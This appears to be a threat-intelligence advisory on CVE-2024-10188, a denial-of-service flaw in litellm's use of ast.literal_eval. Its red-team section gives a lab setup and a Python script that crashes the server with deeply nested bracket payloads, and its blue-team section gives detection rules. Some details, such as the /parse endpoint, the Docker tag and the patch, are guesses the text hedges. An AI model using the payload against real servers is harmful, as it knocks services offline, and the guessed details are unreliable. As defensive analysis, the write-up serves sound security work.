CVE-2024-10188

Executive Summary

CVE-2024-10188 is a high-severity Denial of Service (DoS) vulnerability affecting BerriAI/litellm, a Python-based server application. The flaw resides in the use of ast.literal_eval to parse user-supplied input without proper sanitization or rate limiting. An unauthenticated attacker can send crafted payloads that cause the Python interpreter to consume excessive CPU and memory resources, leading to a complete crash of the litellm server. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for any organization running the affected commit.

Supply Chain & Package Security

This vulnerability affects the PyPI package litellm. Organizations using this package should immediately assess their dependency tree and consider pinning to a safe version or implementing mitigations until an official patch is released. The use of ast.literal_eval is a known dangerous pattern in Python, and this CVE highlights the importance of secure input handling in open-source libraries.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

The vulnerability is easily exploitable by any unauthenticated remote attacker with no user interaction required. The only impact is on availability, making it a classic DoS vector.

Deep Dive & Mechanics

The vulnerability exists in the litellm server code at commit 26c03c9. The server uses ast.literal_eval to parse user-supplied input, likely for configuration or data processing. ast.literal_eval is designed to safely evaluate literal Python expressions (strings, numbers, tuples, lists, dicts, booleans, and None). However, it is not safe against all forms of malicious input. Specifically, it can be forced into a state of exponential backtracking or memory exhaustion when processing deeply nested or specially crafted structures.

For example, a payload like "(" * 100000 + ")" * 100000 can cause the parser to consume excessive CPU and memory, leading to a crash. The lack of input validation or rate limiting allows an attacker to send such payloads repeatedly, amplifying the DoS effect.

Vulnerable vs. Patched Code

Vulnerable Code (commit 26c03c9):

import ast

def parse_user_input(user_input):
    # Vulnerable: directly parsing user input with ast.literal_eval
    return ast.literal_eval(user_input)

Patched Code (hypothetical):

import ast
import re

def parse_user_input(user_input):
    # Sanitize input: limit length and reject deeply nested structures
    if len(user_input) > 1000:
        raise ValueError("Input too long")
    # Use a safer parsing method or implement a timeout
    try:
        return ast.literal_eval(user_input)
    except (ValueError, SyntaxError, MemoryError):
        raise ValueError("Invalid input")

The patched version adds input length limits and catches memory errors. However, since no official patch exists, this is a recommended mitigation.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable instance of litellm using Docker:

   docker run -d -p 8000:8000 berriai/litellm:commit-26c03c9
   

2. Confirm the server is running:

   curl http://localhost:8000/health
   

Exploitation: Since no public exploit code is available, craft a simple DoS payload:

import requests

# Deeply nested list to cause memory exhaustion
payload = "[" * 100000 + "]" * 100000
target = "http://localhost:8000/parse"

try:
    response = requests.post(target, data={"input": payload}, timeout=5)
    print(f"Response: {response.status_code}")
except requests.exceptions.Timeout:
    print("Server likely crashed or unresponsive")

Expected Outcome: The server becomes unresponsive or crashes, requiring a restart.

Blue Team

Detection:

• Monitor for unusually long POST requests to the /parse endpoint.
• Alert on high CPU or memory usage in the litellm process.
• Use the detection rules below.

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block requests with deeply nested brackets.
• Apply rate limiting to the vulnerable endpoint.
• Restrict access to the endpoint via network segmentation.

Indicators of Compromise (IOCs)

• Network: POST requests to /parse with payloads containing excessive brackets (e.g., [[[[...]]]]).
• System: High CPU and memory usage by the litellm Python process.
• Logs: Python tracebacks containing MemoryError or RecursionError in application logs.
• File: No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2024_10188_DoS_Payload {
    meta:
        description = "Detects potential DoS payloads targeting CVE-2024-10188"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-10188"
    strings:
        $bracket_pattern = /[\[\]]{100,}/  // 100 or more consecutive brackets
    condition:
        $bracket_pattern
}

Sigma Rule

title: CVE-2024-10188 DoS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-10188 via deeply nested brackets
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/parse'
        cs-uri-query|contains: 
            - '[[[['
            - ']]]]'
    condition: selection
falsepositives:
    - Legitimate use of nested data structures (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10188 DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"/parse"; http_uri; content:"[[[["; within:100; reference:cve,2024-10188; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable or restrict access to the vulnerable endpoint if not required.
2. Short-term: Implement input validation and rate limiting as shown in the patched code example.
3. Long-term: Replace ast.literal_eval with a safer parsing method, such as json.loads for JSON data, or use a dedicated parser with strict limits.
4. Monitor: Apply the detection rules above and monitor for exploitation attempts.
5. Patch: Watch for an official patch from BerriAI and apply it as soon as it becomes available.

Valters IT
DevSecOps & Cyber Threat Intelligence